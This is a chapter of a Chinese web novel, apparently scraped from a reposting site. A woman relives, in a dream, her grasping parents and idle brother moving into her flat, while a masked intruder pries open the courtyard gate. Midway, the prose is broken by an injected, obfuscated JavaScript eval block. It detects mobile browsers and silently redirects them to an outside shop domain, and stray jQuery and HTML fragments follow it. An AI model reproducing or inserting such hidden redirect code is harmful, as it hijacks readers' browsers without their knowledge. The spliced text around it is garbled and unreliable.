等一家人从郝家吃完饭回到隔壁,天色已晚。
大家洗漱完后就各自回屋睡下了,至于其他的事情自然就留着明日再说。
宋清泞今日贪嘴,喝了两杯郝婶子自己酿的杨梅酒。
没想到那酒酸酸甜甜的,后劲却不小。她揉了揉发疼的眉心,迷迷糊糊中躺到了炕上,将小琪琪香香软软的小身子抱进怀里,没多久就沉沉睡去。
夜色渐深,明月高悬洒下银白的光辉,照亮了这座小院前的小径和周围的田野。
小院的篱笆旁,几簇紫薇花在月光下轻轻摇曳,散发出淡淡的香气。远处的山峦笼罩在夜色中,轮廓模糊,宛如一幅水墨画。
而在这样极美的的画面中,却有一道鬼鬼祟祟的身影破坏了这份唯美。
一个男人身着粗布麻衣,面上蒙了黑纱,露在外头的那双眼睛同他手中的利刃一般,在月光下泛着森冷的白光。
就见他将匕首插入了院门的缝隙中,相当熟练的将门栓往后头顶,一点一点的,全程没有发出任何声响。
炕上,宋清泞眉头紧蹙,可见睡得并不安稳,她摇晃着脑袋想要从噩梦中挣扎着醒过来,可却迟迟醒不了。
梦中,宋清泞看着自己此刻身处的环境,微微有些诧异,她竟然回来了?回到了自己的前世,就是被宋军砍下脑袋的那一天。
在繁华首都一个叫东方之珠的小区,18栋18楼1801室。
屋子里头突然传来“啪……”的一声响,宋清泞刚接了一杯水,就在她要将水杯放回到吧台上时,没有注意到竟将杯子放空了。
杯子掉落在地,应声而碎,水流洒了满地。
她拿了抹布蹲下身子,正手忙脚乱的擦着地砖上的水,外头突然传来一阵拍门声。
她暂且先放下了手中的破瓷片去开门。
“爸、妈,宋清泽,你们怎么来了?”
“怎么?我们不能来?”宋军一手拖着一个超大行李箱,一手两根指头里夹着一根香烟,面上尽显刻薄之色。
“没有,爸,我的意思是,你们过来可以提前和我说一声,我好去接你们。”
宋清泞接过一旁沈桃如手中的行李箱,让他们进屋。
“妈,你们吃了晚饭没?”
沈桃如摇头,转头左右看了看,问她:“泞泞,厨房在哪里?妈去给你爸和弟弟做些吃的。”
宋清泞带着她往厨房走。
客厅那头传来宋清泽的喊声:“妈,我要吃牛排,记得再给我煎一个荷包蛋。”
“好好好,妈给你做。”沈桃如大声应着,又转头问宋清泞:“泞泞,家里有没有牛排和鸡蛋?”
宋清泞的脸色已经变得难看,声音都沉了好几分:“没有。”
“你这孩子,明知道你弟弟爱吃牛排和鸡蛋,家里怎么不备一点呢?”
宋清泞深呼吸了好几口气,忍着脾气:“妈,我不喜欢吃牛排和鸡蛋!我为什么要备这些?”
见她要生气,沈桃如摆手道:“没备就没备吧,刚刚过来的时候,我看到楼下的超市还开着门。你下去买几袋牛排上来,记得再买一板鸡蛋。”
“不去,谁要吃谁去买!”宋清泞从后槽牙里一字一句蹦出这句话,转身要回屋,手臂却被沈桃如拉住。
“泞泞,你这孩子,怎么越来越不听话了!”
宋清泞呵呵两声,白眼差点没有翻到天上去。
最后还是沈桃如自己去买了牛排和鸡蛋上来,等她做好饭,已经是晚上十点。
她将牛排和鸡蛋端去了餐厅后,来到宋清泞的房门前,门都没敲,直接推门进去的。
躺在床上的宋清泞立马睁开了眼睛,一脸防备的看着她,并没有说话。
被她用这样的眼神看着,沈桃如搓了搓手,原本要说的话一下不知道该怎么开口了。
“泞泞,我多煎了一块牛排,你要不要去吃点?”
宋清泞摇头:“我不饿,你们吃吧。”
“不饿也起来吃点,吃完妈有话和你说。”沈桃如说着过来拉她的手臂。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13626395|143534||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
宋清泞迅速从床上弹了起来,避的远远的。
沈桃如微微有些尴尬,本来就带了苦相的脸做出一副可怜的模样。
宋清泞心累的厉害,不用说,每次沈桃如装成这副模样时,肯定是这一家三口又要做什么妖。
果然,沈桃如用衣袖擦了擦自己的眼角,开始声泪俱下:“爸妈苦了一辈子,累了一辈子,含辛茹苦的把你们姐弟拉扯大,原本以为要这么苦一辈子,好在你有出息,以后我们一家人都能跟着你享福了。”
宋清泞提着的心沉了又沉,没多久便沉到了谷底。
做了这么多年的母女,沈桃如放个屁她都知道她想干什么。
“妈,我给你和爸留了房间的,哪天你们想过来玩,随时欢迎。不过家里不是快收谷子了么?你们什么时候回去?”
沈桃如走到了宋清泞的身旁,一屁股坐在了她的床上,又拉住了她的手。
“泞泞,我们一家人自然是要住在一起的,我们这次过来就不打算走了,这里小是小了点,只有两个房间。不过没事,让你弟和你爸睡一个房间,我和你挤一
挤。”
宋清泞看她这副理所当然的模样,胸中压抑的怒火几乎要喷涌而出,但她逼迫自己,一定要忍住……忍住……
“妈,您和爸想过来偶尔住住我不反对,但宋清泽不能来我这边住!”
听她这话,沈桃如的脸上闪过一抹恼怒,但很快,她又换回到之前那副可怜的模样。
“泞泞,你怎么这么狠心?那是你的亲弟弟啊!你忍心让他一个人在外孤苦伶仃吗?”
宋清泞撇嘴,我忍心的很!
“妈,宋清泽都要三十了,一个正经工作都没有,天天好吃懒做,不知上进,没有一点能力还什么事情都挑三拣四的,我可没有义务养着他!您和爸再这样惯着他,这不是爱他而是在害他!您难道就想看着他做一辈子的废物吗?”
“呜呜呜……”
她话落,沈桃如双手捂着脸,呜呜的哭了起来。